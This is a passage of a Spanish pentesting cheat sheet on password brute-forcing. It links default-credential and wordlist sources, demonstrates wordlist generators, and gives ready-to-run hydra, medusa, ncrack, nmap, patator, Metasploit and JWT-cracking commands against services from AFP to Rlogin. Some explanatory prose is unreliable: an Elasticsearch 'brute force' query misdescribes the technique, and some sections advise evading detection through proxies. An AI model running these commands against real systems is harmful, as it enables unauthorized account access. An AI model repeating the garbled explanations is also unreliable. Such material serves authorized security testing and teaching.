* [**https://github.com/ihebski/DefaultCreds-cheat-sheet**](https://github.com/ihebski/DefaultCreds-cheat-sheet)
|
||||
* [**http://www.phenoelit.org/dpl/dpl.html**](http://www.phenoelit.org/dpl/dpl.html)
|
||||
* [**http://www.vulnerabilityassessment.co.uk/passwordsC.htm**](http://www.vulnerabilityassessment.co.uk/passwordsC.htm)
|
||||
* [**https://192-168-1-1ip.mobi/default-router-passwords-list/**](https://192-168-1-1ip.mobi/default-router-passwords-list/)
|
||||
* [**https://datarecovery.com/rd/default-passwords/**](https://datarecovery.com/rd/default-passwords/)
|
||||
* [**https://bizuns.com/default-passwords-list**](https://bizuns.com/default-passwords-list)
|
||||
* [**https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/default-passwords.csv**](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/default-passwords.csv)
|
||||
* [**https://github.com/Dormidera/WordList-Compendium**](https://github.com/Dormidera/WordList-Compendium)
|
||||
* [**https://www.cirt.net/passwords**](https://www.cirt.net/passwords)
|
||||
* [**http://www.passwordsdatabase.com/**](http://www.passwordsdatabase.com)
|
||||
* [**https://many-passwords.github.io/**](https://many-passwords.github.io)
|
||||
* [**https://theinfocentric.com/**](https://theinfocentric.com/)
|
||||
|
||||
## **Crea tus propios diccionarios**
|
||||
|
||||
Encuentre tanta información sobre el objetivo como pueda y genere un diccionario personalizado. Herramientas que pueden ayudar:
|
||||
|
||||
### Crunch
|
||||
```bash
|
||||
crunch 4 6 0123456789ABCDEF -o crunch1.txt #From length 4 to 6 using that alphabet
|
||||
crunch 4 4 -f /usr/share/crunch/charset.lst mixalpha # Only length 4 using charset mixalpha (inside file charset.lst)
|
||||
|
||||
@ Lower case alpha characters
|
||||
, Upper case alpha characters
|
||||
% Numeric characters
|
||||
^ Special characters including spac
|
||||
crunch 6 8 -t ,@@^^%%
|
||||
```
|
||||
### Cewl
|
||||
|
||||
Cewl es una herramienta que se utiliza para crear listas de palabras a partir de un sitio web o de un archivo de texto. Es muy útil para la realización de ataques de fuerza bruta, ya que permite crear listas de palabras personalizadas basadas en el contenido del sitio web objetivo.
|
||||
|
||||
Para utilizar Cewl, simplemente se debe ejecutar el comando `cewl` seguido de la URL del sitio web o del archivo de texto que se desea analizar. La herramienta buscará todas las palabras en el sitio web o archivo de texto y las agregará a una lista de palabras personalizada.
|
||||
|
||||
Una vez que se ha creado la lista de palabras personalizada, se puede utilizar en herramientas de fuerza bruta como Hydra o Medusa para intentar adivinar las contraseñas de los usuarios. También se puede utilizar para realizar ataques de phishing, ya que permite crear listas de palabras personalizadas basadas en el contenido de un sitio web de phishing.
|
||||
|
||||
Es importante tener en cuenta que el uso de Cewl para crear listas de palabras personalizadas puede ser ilegal si se utiliza para realizar ataques sin autorización. Por lo tanto, se debe utilizar con precaución y siempre con el permiso del propietario del sitio web o del archivo de texto.
|
||||
```bash
|
||||
cewl example.com -m 5 -w words.txt
|
||||
```
|
||||
### [CUPP](https://github.com/Mebus/cupp)
|
||||
|
||||
Genera contraseñas basadas en tu conocimiento sobre la víctima (nombres, fechas...)
|
||||
```
|
||||
python3 cupp.py -h
|
||||
```
|
||||
### [Wister](https://github.com/cycurity/wister)
|
||||
|
||||
Wister es una herramienta generadora de listas de palabras que te permite suministrar un conjunto de palabras, dándote la posibilidad de crear múltiples variaciones a partir de las palabras dadas, creando una lista de palabras única e ideal para usar en relación a un objetivo específico.
|
||||
```bash
|
||||
python3 wister.py -w jane doe 2022 summer madrid 1998 -c 1 2 3 4 5 -o wordlist.lst
|
||||
|
||||
__ _______ _____ _______ ______ _____
|
||||
\ \ / /_ _|/ ____|__ __| ____| __ \
|
||||
\ \ /\ / / | | | (___ | | | |__ | |__) |
|
||||
\ \/ \/ / | | \___ \ | | | __| | _ /
|
||||
\ /\ / _| |_ ____) | | | | |____| | \ \
|
||||
\/ \/ |_____|_____/ |_| |______|_| \_\
|
||||
|
||||
Version 1.0.3 Cycurity
|
||||
|
||||
Generating wordlist...
|
||||
[########################################] 100%
|
||||
Generated 67885 lines.
|
||||
|
||||
Finished in 0.920s.
|
||||
```
|
||||
### [pydictor](https://github.com/LandGrey/pydictor)
|
||||
|
||||
### Listas de palabras
|
||||
|
||||
* [**https://github.com/danielmiessler/SecLists**](https://github.com/danielmiessler/SecLists)
|
||||
* [**https://github.com/Dormidera/WordList-Compendium**](https://github.com/Dormidera/WordList-Compendium)
|
||||
* [**https://github.com/kaonashi-passwords/Kaonashi**](https://github.com/kaonashi-passwords/Kaonashi)
|
||||
* [**https://google/fuzzing/tree/master/dictionaries**](https://google/fuzzing/tree/master/dictionaries)
|
||||
* [**https://crackstation.net/crackstation-wordlist-password-cracking-dictionary.htm**](https://crackstation.net/crackstation-wordlist-password-cracking-dictionary.htm)
|
||||
* [**https://weakpass.com/wordlist/**](https://weakpass.com/wordlist/)
|
||||
* [**https://wordlists.assetnote.io/**](https://wordlists.assetnote.io/)
|
||||
* [**https://github.com/fssecur3/fuzzlists**](https://github.com/fssecur3/fuzzlists)
|
||||
* [**https://hashkiller.io/listmanager**](https://hashkiller.io/listmanager)
|
||||
* [**https://github.com/Karanxa/Bug-Bounty-Wordlists**](https://github.com/Karanxa/Bug-Bounty-Wordlists)
|
||||
|
||||
 (1) (2).png>)
|
||||
|
||||
\
|
||||
Utilice [**Trickest**](https://trickest.io/) para construir y automatizar fácilmente flujos de trabajo impulsados por las herramientas de la comunidad más avanzadas del mundo.\
|
||||
Obtenga acceso hoy:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
## Servicios
|
||||
|
||||
Ordenados alfabéticamente por nombre de servicio.
|
||||
|
||||
### AFP
|
||||
```bash
|
||||
nmap -p 548 --script afp-brute <IP>
|
||||
msf> use auxiliary/scanner/afp/afp_login
|
||||
msf> set BLANK_PASSWORDS true
|
||||
msf> set USER_AS_PASS true
|
||||
msf> set PASS_FILE <PATH_PASSWDS>
|
||||
msf> set USER_FILE <PATH_USERS>
|
||||
msf> run
|
||||
```
|
||||
### AJP
|
||||
|
||||
El Protocolo de Conector de Java Avanzado (AJP) es un protocolo de red utilizado por los servidores web para comunicarse con los servidores de aplicaciones. A menudo se utiliza en entornos de servidor web de alta carga para mejorar el rendimiento y la escalabilidad.
|
||||
|
||||
Los atacantes pueden utilizar la técnica de fuerza bruta para intentar adivinar las credenciales de inicio de sesión de AJP. Esto se puede hacer utilizando herramientas como Hydra o Patator. También es posible buscar vulnerabilidades conocidas en el servidor AJP, como la exposición de información sensible o la ejecución remota de código.
|
||||
```bash
|
||||
nmap --script ajp-brute -p 8009 <IP>
|
||||
```
|
||||
### Cassandra
|
||||
|
||||
Cassandra es una base de datos distribuida altamente escalable y tolerante a fallos. Es utilizada por muchas empresas para almacenar grandes cantidades de datos en múltiples servidores. Debido a su arquitectura distribuida, Cassandra es resistente a los fallos de hardware y software, lo que la hace muy confiable. Sin embargo, esto también la hace vulnerable a los ataques de fuerza bruta.
|
||||
|
||||
La forma más común de realizar un ataque de fuerza bruta en Cassandra es intentar adivinar la contraseña de un usuario con acceso a la base de datos. Esto se puede hacer utilizando herramientas como Hydra o Medusa, que intentan diferentes combinaciones de nombres de usuario y contraseñas hasta que encuentran una que funcione.
|
||||
|
||||
Para evitar un ataque de fuerza bruta en Cassandra, es importante utilizar contraseñas seguras y complejas, y limitar el número de intentos de inicio de sesión fallidos permitidos antes de bloquear la cuenta. También se pueden utilizar herramientas de monitoreo de seguridad para detectar y prevenir intentos de inicio de sesión malintencionados.
|
||||
```bash
|
||||
nmap --script cassandra-brute -p 9160 <IP>
|
||||
```
|
||||
### CouchDB
|
||||
|
||||
CouchDB es una base de datos NoSQL que utiliza JSON para almacenar datos. Es muy popular en aplicaciones web y móviles debido a su capacidad para sincronizar datos entre dispositivos.
|
||||
|
||||
#### Fuerza bruta en CouchDB
|
||||
|
||||
CouchDB tiene una API RESTful que permite a los usuarios realizar operaciones CRUD en la base de datos. Esto significa que es posible realizar ataques de fuerza bruta contra la API para intentar adivinar las credenciales de inicio de sesión de un usuario.
|
||||
|
||||
Para realizar un ataque de fuerza bruta en CouchDB, se puede utilizar una herramienta como Hydra o Burp Suite. El objetivo es enviar solicitudes HTTP POST a la API de CouchDB con diferentes combinaciones de nombres de usuario y contraseñas hasta que se encuentre una combinación válida.
|
||||
|
||||
Es importante tener en cuenta que CouchDB tiene una función de límite de velocidad incorporada que limita el número de solicitudes que se pueden enviar en un período de tiempo determinado. Por lo tanto, es posible que se necesite ajustar la velocidad del ataque para evitar que se bloquee la cuenta del usuario o se detecte el ataque.
|
||||
```bash
|
||||
msf> use auxiliary/scanner/couchdb/couchdb_login
|
||||
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 5984 http-get /
|
||||
```
|
||||
### Registro de Docker
|
||||
```
|
||||
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst 10.10.10.10 -s 5000 https-get /v2/
|
||||
```
|
||||
### Elasticsearch
|
||||
|
||||
Elasticsearch es un motor de búsqueda y análisis de datos distribuido y de código abierto. Es utilizado por muchas empresas para indexar y buscar grandes cantidades de datos. Elasticsearch utiliza una API RESTful y JSON para interactuar con los datos.
|
||||
|
||||
#### Fuerza bruta
|
||||
|
||||
La fuerza bruta en Elasticsearch se puede realizar utilizando la API RESTful. La API de Elasticsearch tiene una ruta llamada `_search` que se puede utilizar para buscar datos. La ruta `_search` acepta una consulta JSON que se utiliza para buscar datos.
|
||||
|
||||
Para realizar un ataque de fuerza bruta en Elasticsearch, se puede enviar una consulta JSON que contenga una lista de contraseñas. La consulta debe estar estructurada de tal manera que intente cada contraseña en la lista hasta que se encuentre la correcta.
|
||||
|
||||
Un ejemplo de consulta JSON para un ataque de fuerza bruta en Elasticsearch se muestra a continuación:
|
||||
|
||||
```
|
||||
POST /index/_search
|
||||
{
|
||||
"query": {
|
||||
"bool": {
|
||||
"should": [
|
||||
{ "match": { "password": "password1" } },
|
||||
{ "match": { "password": "password2" } },
|
||||
{ "match": { "password": "password3" } }
|
||||
]
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
En este ejemplo, la consulta intentará las contraseñas "password1", "password2" y "password3" en el campo "password" del índice "index". Si se encuentra la contraseña correcta, Elasticsearch devolverá los datos correspondientes.
|
||||
```
|
||||
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 9200 http-get /
|
||||
```
|
||||
### FTP
|
||||
|
||||
El Protocolo de Transferencia de Archivos (FTP, por sus siglas en inglés) es un protocolo de red utilizado para la transferencia de archivos de un host a otro a través de una red TCP basada en IP. FTP utiliza un modelo cliente-servidor para la transferencia de archivos y requiere autenticación para acceder a los archivos. Los ataques de fuerza bruta contra FTP implican intentar adivinar las credenciales de inicio de sesión de un usuario mediante la prueba de diferentes combinaciones de nombres de usuario y contraseñas.
|
||||
```bash
|
||||
hydra -l root -P passwords.txt [-t 32] <IP> ftp
|
||||
ncrack -p 21 --user root -P passwords.txt <IP> [-T 5]
|
||||
medusa -u root -P 500-worst-passwords.txt -h <IP> -M ftp
|
||||
```
|
||||
### Fuerza Bruta Genérica HTTP
|
||||
|
||||
#### [**WFuzz**](../pentesting-web/web-tool-wfuzz.md)
|
||||
|
||||
### Autenticación Básica HTTP
|
||||
```bash
|
||||
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst sizzle.htb.local http-get /certsrv/
|
||||
# Use https-get mode for https
|
||||
medusa -h <IP> -u <username> -P <passwords.txt> -M http -m DIR:/path/to/auth -T 10
|
||||
```
|
||||
### HTTP - Enviar formulario mediante POST
|
||||
```bash
|
||||
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst domain.htb http-post-form "/path/index.php:name=^USER^&password=^PASS^&enter=Sign+in:Login name or password is incorrect" -V
|
||||
# Use https-post-form mode for https
|
||||
```
|
||||
Para http**s** tienes que cambiar de "http-post-form" a "**https-post-form"**
|
||||
|
||||
### **HTTP - CMS --** (W)ordpress, (J)oomla o (D)rupal o (M)oodle
|
||||
```bash
|
||||
cmsmap -f W/J/D/M -u a -p a https://wordpress.com
|
||||
```
|
||||
### IMAP
|
||||
|
||||
El Protocolo de Acceso a Mensajes de Internet (IMAP) es un protocolo de correo electrónico utilizado para recibir correos electrónicos de un servidor de correo electrónico. IMAP permite a los usuarios acceder a sus correos electrónicos desde cualquier dispositivo y mantenerlos sincronizados. Los servidores de correo electrónico IMAP suelen tener medidas de seguridad para evitar ataques de fuerza bruta, como limitar el número de intentos de inicio de sesión y bloquear direcciones IP después de varios intentos fallidos. Sin embargo, si se encuentra una vulnerabilidad en el servidor, un atacante podría intentar un ataque de fuerza bruta para obtener acceso no autorizado a una cuenta de correo electrónico.
|
||||
```bash
|
||||
hydra -l USERNAME -P /path/to/passwords.txt -f <IP> imap -V
|
||||
hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 993 -f <IP> imap -V
|
||||
nmap -sV --script imap-brute -p <PORT> <IP>
|
||||
```
|
||||
### IRC
|
||||
|
||||
IRC (Internet Relay Chat) es un protocolo de comunicación en tiempo real utilizado principalmente para la comunicación en grupo. Los canales de IRC son salas de chat virtuales donde los usuarios pueden comunicarse entre sí. Los canales de IRC son muy populares en la comunidad de hacking y se utilizan a menudo para discutir temas relacionados con la seguridad informática.
|
||||
|
||||
El brute force en IRC se puede realizar mediante el uso de herramientas como Hydra o Medusa. Estas herramientas pueden ser utilizadas para probar contraseñas en un servidor de IRC. También es posible realizar ataques de diccionario utilizando listas de contraseñas comunes.
|
||||
|
||||
Es importante tener en cuenta que el brute force en IRC puede ser detectado fácilmente por los administradores del servidor. Por lo tanto, se recomienda utilizar técnicas de evasión, como el uso de proxies o VPNs, para ocultar la dirección IP del atacante.
|
||||
```bash
|
||||
nmap -sV --script irc-brute,irc-sasl-brute --script-args userdb=/path/users.txt,passdb=/path/pass.txt -p <PORT> <IP>
|
||||
```
|
||||
### ISCSI
|
||||
|
||||
iSCSI (Internet Small Computer System Interface) es un protocolo de red que permite a los dispositivos de almacenamiento de datos conectarse a través de una red IP. Esto permite que los dispositivos de almacenamiento se compartan entre múltiples servidores y aplicaciones.
|
||||
|
||||
Los ataques de fuerza bruta contra iSCSI pueden ser utilizados para intentar adivinar las credenciales de autenticación de un dispositivo de almacenamiento iSCSI. Esto puede permitir a un atacante acceder a los datos almacenados en el dispositivo.
|
||||
|
||||
Para llevar a cabo un ataque de fuerza bruta contra iSCSI, se puede utilizar una herramienta como `iscsi-brute`. Esta herramienta intentará adivinar las credenciales de autenticación utilizando una lista de posibles nombres de usuario y contraseñas.
|
||||
|
||||
Es importante tener en cuenta que los ataques de fuerza bruta pueden ser detectados por los sistemas de seguridad, por lo que es importante utilizar técnicas de evasión para evitar la detección.
|
||||
```bash
|
||||
nmap -sV --script iscsi-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 3260 <IP>
|
||||
```
|
||||
### JWT
|
||||
|
||||
JWT (JSON Web Token) es un estándar abierto (RFC 7519) que define un formato compacto y autónomo para transmitir información de forma segura entre partes como un objeto JSON. Esta información puede ser verificada y confiada porque está firmada digitalmente. Los JWT se utilizan a menudo para la autenticación y la autorización en aplicaciones web y móviles.
|
||||
|
||||
Un JWT consta de tres partes separadas por puntos: el encabezado, la carga útil y la firma. El encabezado especifica el tipo de token y el algoritmo de firma utilizado. La carga útil contiene la información que se va a transmitir, como el nombre de usuario y los permisos de acceso. La firma se utiliza para verificar la integridad del token y garantizar que no ha sido manipulado.
|
||||
|
||||
Los JWT son vulnerables a los ataques de fuerza bruta si se utilizan algoritmos de firma débiles o si las claves secretas son demasiado cortas o predecibles. Es importante utilizar algoritmos de firma fuertes y claves secretas aleatorias y seguras para proteger los JWT. Además, es recomendable utilizar medidas de seguridad adicionales, como la limitación de intentos de inicio de sesión y la detección de patrones de comportamiento sospechosos.
|
||||
```bash
|
||||
#hashcat
|
||||
hashcat -m 16500 -a 0 jwt.txt .\wordlists\rockyou.txt
|
||||
|
||||
#https://github.com/Sjord/jwtcrack
|
||||
python crackjwt.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc /usr/share/wordlists/rockyou.txt
|
||||
|
||||
#John
|
||||
john jwt.txt --wordlist=wordlists.txt --format=HMAC-SHA256
|
||||
|
||||
#https://github.com/ticarpi/jwt_tool
|
||||
python3 jwt_tool.py -d wordlists.txt <JWT token>
|
||||
|
||||
#https://github.com/brendan-rius/c-jwt-cracker
|
||||
./jwtcrack eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc 1234567890 8
|
||||
|
||||
#https://github.com/mazen160/jwt-pwn
|
||||
python3 jwt-cracker.py -jwt eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc -w wordlist.txt
|
||||
|
||||
#https://github.com/lmammino/jwt-cracker
|
||||
jwt-cracker "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.TJVA95OrM7E2cBab30RMHrHDcEfxjoYZgeFONFh7HgQ" "abcdefghijklmnopqrstuwxyz" 6
|
||||
```
|
||||
### LDAP
|
||||
|
||||
LDAP (Protocolo Ligero de Acceso a Directorios) es un protocolo de red utilizado para acceder y mantener información de directorios distribuidos. Es comúnmente utilizado para autenticación y autorización en sistemas de red.
|
||||
|
||||
#### Ataque de fuerza bruta
|
||||
|
||||
El ataque de fuerza bruta en LDAP implica intentar adivinar las credenciales de un usuario mediante la prueba de diferentes combinaciones de nombres de usuario y contraseñas. Este ataque puede ser automatizado utilizando herramientas como Hydra o Patator.
|
||||
|
||||
Para llevar a cabo un ataque de fuerza bruta en LDAP, primero se necesita una lista de posibles nombres de usuario y contraseñas. Estas listas pueden ser creadas utilizando herramientas como CeWL o Crunch.
|
||||
|
||||
Una vez que se tiene la lista de posibles credenciales, se puede utilizar una herramienta de fuerza bruta para probar cada combinación hasta que se encuentre una que funcione. Es importante tener en cuenta que algunos servidores LDAP pueden tener medidas de seguridad en su lugar para prevenir ataques de fuerza bruta, como la limitación del número de intentos de inicio de sesión permitidos antes de bloquear la cuenta.
|
||||
```bash
|
||||
nmap --script ldap-brute -p 389 <IP>
|
||||
```
|
||||
### MQTT
|
||||
|
||||
MQTT (Message Queuing Telemetry Transport) es un protocolo de mensajería ligero diseñado para dispositivos IoT (Internet de las cosas) con ancho de banda limitado y conexiones inestables. MQTT utiliza un modelo de publicación/suscripción en el que los clientes se suscriben a temas (topics) y reciben mensajes publicados en esos temas.
|
||||
|
||||
Los ataques de fuerza bruta contra MQTT pueden ser utilizados para obtener credenciales de acceso a dispositivos IoT y a sistemas de control industrial. Los atacantes pueden utilizar herramientas como Mosquito, que es un servidor MQTT de código abierto, para realizar ataques de fuerza bruta contra dispositivos IoT y sistemas de control industrial que utilizan MQTT.
|
||||
|
||||
Para protegerse contra los ataques de fuerza bruta en MQTT, se recomienda utilizar contraseñas fuertes y cambiarlas regularmente. También se recomienda utilizar certificados SSL/TLS para cifrar las comunicaciones MQTT y limitar el acceso a los dispositivos IoT y sistemas de control industrial a través de firewalls y otros mecanismos de seguridad.
|
||||
```
|
||||
ncrack mqtt://127.0.0.1 --user test –P /root/Desktop/pass.txt -v
|
||||
```
|
||||
### Mongo
|
||||
|
||||
Mongo es una base de datos NoSQL muy popular que se utiliza en muchos proyectos. A menudo, los desarrolladores no configuran adecuadamente la seguridad de Mongo, lo que puede permitir a los atacantes acceder a la base de datos y robar información confidencial. Una técnica común utilizada para atacar Mongo es la fuerza bruta, que implica probar diferentes combinaciones de nombres de usuario y contraseñas hasta encontrar la correcta. Para evitar esto, es importante asegurarse de que se han tomado medidas adecuadas para proteger la base de datos, como la configuración de contraseñas seguras y la limitación del acceso a la base de datos solo a usuarios autorizados.
|
||||
```bash
|
||||
nmap -sV --script mongodb-brute -n -p 27017 <IP>
|
||||
use auxiliary/scanner/mongodb/mongodb_login
|
||||
```
|
||||
### MySQL
|
||||
|
||||
MySQL es un sistema de gestión de bases de datos relacional de código abierto. Es ampliamente utilizado en aplicaciones web y es compatible con muchos lenguajes de programación. MySQL utiliza una combinación de nombre de usuario y contraseña para autenticar a los usuarios y proporciona una variedad de herramientas de seguridad para proteger los datos almacenados en la base de datos.
|
||||
|
||||
#### Fuerza bruta
|
||||
|
||||
La fuerza bruta es una técnica común utilizada para obtener acceso no autorizado a una base de datos MySQL. Consiste en probar todas las combinaciones posibles de nombres de usuario y contraseñas hasta que se encuentra una que funcione. Los atacantes pueden utilizar herramientas automatizadas para realizar ataques de fuerza bruta en una base de datos MySQL.
|
||||
|
||||
Para protegerse contra los ataques de fuerza bruta, se recomienda utilizar contraseñas seguras y complejas que contengan una combinación de letras, números y caracteres especiales. También se recomienda limitar el número de intentos de inicio de sesión fallidos antes de bloquear temporalmente la cuenta del usuario. Además, se pueden utilizar herramientas de detección de intrusos para detectar y bloquear automáticamente los intentos de inicio de sesión malintencionados.
|
||||
```bash
|
||||
# hydra
|
||||
hydra -L usernames.txt -P pass.txt <IP> mysql
|
||||
|
||||
# msfconsole
|
||||
msf> use auxiliary/scanner/mysql/mysql_login; set VERBOSE false
|
||||
|
||||
# medusa
|
||||
medusa -h <IP/Host> -u <username> -P <password_list> <-f | to stop medusa on first success attempt> -t <threads> -M mysql
|
||||
```
|
||||
### OracleSQL
|
||||
|
||||
OracleSQL es un lenguaje de programación utilizado para administrar y manipular bases de datos Oracle. Es comúnmente utilizado en aplicaciones empresariales y es una herramienta importante para los hackers que buscan acceder a información confidencial almacenada en bases de datos Oracle. Los ataques de fuerza bruta son comunes en OracleSQL y pueden ser utilizados para descubrir contraseñas débiles o vulnerabilidades en la seguridad de la base de datos. Es importante que los administradores de bases de datos tomen medidas para proteger sus sistemas contra estos ataques, como la implementación de políticas de contraseñas fuertes y la limitación del acceso a la base de datos solo a usuarios autorizados.
|
||||
```bash
|
||||
patator oracle_login sid=<SID> host=<IP> user=FILE0 password=FILE1 0=users-oracle.txt 1=pass-oracle.txt -x ignore:code=ORA-01017
|
||||
|
||||
./odat.py passwordguesser -s $SERVER -d $SID
|
||||
./odat.py passwordguesser -s $MYSERVER -p $PORT --accounts-file accounts_multiple.txt
|
||||
|
||||
#msf1
|
||||
msf> use admin/oracle/oracle_login
|
||||
msf> set RHOSTS <IP>
|
||||
msf> set RPORT 1521
|
||||
msf> set SID <SID>
|
||||
|
||||
#msf2, this option uses nmap and it fails sometimes for some reason
|
||||
msf> use scanner/oracle/oracle_login
|
||||
msf> set RHOSTS <IP>
|
||||
msf> set RPORTS 1521
|
||||
msf> set SID <SID>
|
||||
|
||||
#for some reason nmap fails sometimes when executing this script
|
||||
nmap --script oracle-brute -p 1521 --script-args oracle-brute.sid=<SID> <IP>
|
||||
```
|
||||
Para utilizar **oracle\_login** con **patator** necesitas **instalar**:
|
||||
```bash
|
||||
pip3 install cx_Oracle --upgrade
|
||||
```
|
||||
Fuerza bruta de hash OracleSQL offline (versiones 11.1.0.6, 11.1.0.7, 11.2.0.1, 11.2.0.2 y 11.2.0.3):
|
||||
```bash
|
||||
nmap -p1521 --script oracle-brute-stealth --script-args oracle-brute-stealth.sid=DB11g -n 10.11.21.30
|
||||
```
|
||||
### POP
|
||||
|
||||
POP (Post Office Protocol) es un protocolo utilizado para la recuperación de correo electrónico desde un servidor remoto. POP3 es la versión más utilizada actualmente. Los ataques de fuerza bruta contra servidores POP3 son comunes y pueden ser muy efectivos si se utilizan contraseñas débiles.
|
||||
```bash
|
||||
hydra -l USERNAME -P /path/to/passwords.txt -f <IP> pop3 -V
|
||||
hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 995 -f <IP> pop3 -V
|
||||
```
|
||||
### PostgreSQL
|
||||
|
||||
PostgreSQL es un sistema de gestión de bases de datos relacional de código abierto y gratuito. Es muy utilizado en aplicaciones web y móviles, y es compatible con una amplia variedad de lenguajes de programación. PostgreSQL es conocido por su seguridad y estabilidad, y es una opción popular para aplicaciones empresariales críticas.
|
||||
|
||||
#### Fuerza bruta en PostgreSQL
|
||||
|
||||
La fuerza bruta en PostgreSQL se puede realizar mediante ataques de diccionario o mediante ataques de fuerza bruta puros. Los ataques de diccionario implican el uso de una lista de palabras comunes para adivinar contraseñas, mientras que los ataques de fuerza bruta puros implican probar todas las combinaciones posibles de caracteres hasta encontrar la contraseña correcta.
|
||||
|
||||
Para evitar ataques de fuerza bruta en PostgreSQL, se pueden tomar medidas como limitar el número de intentos de inicio de sesión, utilizar contraseñas seguras y utilizar autenticación de dos factores. También es importante mantener PostgreSQL actualizado con las últimas correcciones de seguridad.
|
||||
```bash
|
||||
hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt <IP> postgres
|
||||
medusa -h <IP> –U /root/Desktop/user.txt –P /root/Desktop/pass.txt –M postgres
|
||||
ncrack –v –U /root/Desktop/user.txt –P /root/Desktop/pass.txt <IP>:5432
|
||||
patator pgsql_login host=<IP> user=FILE0 0=/root/Desktop/user.txt password=FILE1 1=/root/Desktop/pass.txt
|
||||
use auxiliary/scanner/postgres/postgres_login
|
||||
nmap -sV --script pgsql-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 5432 <IP>
|
||||
```
|
||||
### PPTP
|
||||
|
||||
Puedes descargar el paquete `.deb` para instalar desde [https://http.kali.org/pool/main/t/thc-pptp-bruter/](https://http.kali.org/pool/main/t/thc-pptp-bruter/)
|
||||
```bash
|
||||
sudo dpkg -i thc-pptp-bruter*.deb #Install the package
|
||||
cat rockyou.txt | thc-pptp-bruter –u <Username> <IP>
|
||||
```
|
||||
### RDP
|
||||
|
||||
El Protocolo de Escritorio Remoto (RDP, por sus siglas en inglés) es un protocolo de red desarrollado por Microsoft que permite a los usuarios conectarse a un equipo remoto y utilizarlo como si estuvieran sentados frente a él. Los ataques de fuerza bruta contra RDP son comunes y pueden ser muy efectivos si se utilizan contraseñas débiles. Es importante asegurarse de que las contraseñas utilizadas para las conexiones RDP sean lo suficientemente fuertes y se cambien regularmente para evitar ataques exitosos.
|
||||
```bash
|
||||
ncrack -vv --user <User> -P pwds.txt rdp://<IP>
|
||||
hydra -V -f -L <userslist> -P <passwlist> rdp://<IP>
|
||||
```
|
||||
### Redis
|
||||
|
||||
Redis es una base de datos en memoria que se utiliza a menudo como caché y almacén de datos. Es muy popular en aplicaciones web y móviles debido a su alta velocidad y escalabilidad. Sin embargo, Redis también es vulnerable a ataques de fuerza bruta si no se configura correctamente.
|
||||
|
||||
Hay varias herramientas de fuerza bruta disponibles para Redis, como `redis-cli`, `redis-brute`, `redis-rdb-crack` y `redis-password-cracker`. Estas herramientas pueden probar contraseñas comunes o diccionarios de contraseñas contra una instancia de Redis para intentar obtener acceso no autorizado.
|
||||
|
||||
Para protegerse contra los ataques de fuerza bruta en Redis, es importante seguir las mejores prácticas de seguridad, como cambiar la contraseña predeterminada, limitar el acceso a la instancia de Redis y utilizar una lista blanca de direcciones IP autorizadas. También se recomienda utilizar una herramienta de monitoreo de seguridad para detectar y prevenir los ataques de fuerza bruta.
|
||||
```bash
|
||||
msf> use auxiliary/scanner/redis/redis_login
|
||||
nmap --script redis-brute -p 6379 <IP>
|
||||
hydra –P /path/pass.txt redis://<IP>:<PORT> # 6379 is the default
|
||||
```
|
||||
### Rexec
|
||||
|
||||
Rexec es un protocolo de red que permite a un usuario ejecutar comandos en un sistema remoto. Es similar a Telnet, pero se utiliza principalmente para ejecutar comandos en sistemas Unix. Rexec utiliza el puerto 512 y no proporciona cifrado, lo que lo hace vulnerable a ataques de sniffing. Los atacantes pueden utilizar herramientas de fuerza bruta para adivinar las credenciales de inicio de sesión y obtener acceso no autorizado al sistema remoto. Es importante utilizar contraseñas seguras y autenticación de dos factores para protegerse contra ataques de fuerza bruta.
|
||||
```bash
|
||||
hydra -l <username> -P <password_file> rexec://<Victim-IP> -v -V
|
||||
```
|
||||
### Rlogin
|
||||
|
||||
El protocolo Rlogin es un protocolo de red que proporciona acceso remoto a un shell de Unix. Es similar a Telnet, pero no proporciona cifrado de datos, lo que lo hace menos seguro. El protocolo Rlogin utiliza el puerto 513/tcp.
|
||||
|
||||
El ataque de fuerza bruta contra Rlogin implica intentar adivinar las credenciales de inicio de sesión de un usuario mediante la prueba de diferentes combinaciones de nombres de usuario y contraseñas. Esto se puede hacer utilizando herramientas como Hydra o Medusa. Es importante tener en cuenta que este ataque es ilegal y puede tener graves consecuencias legales.
|
||||
```bash
|
||||
hydra -l <username> -P <password_file> rlogin://<Victim-IP> -v -V
|
||||
```
|
||||
### Rsh
|
||||
|
||||
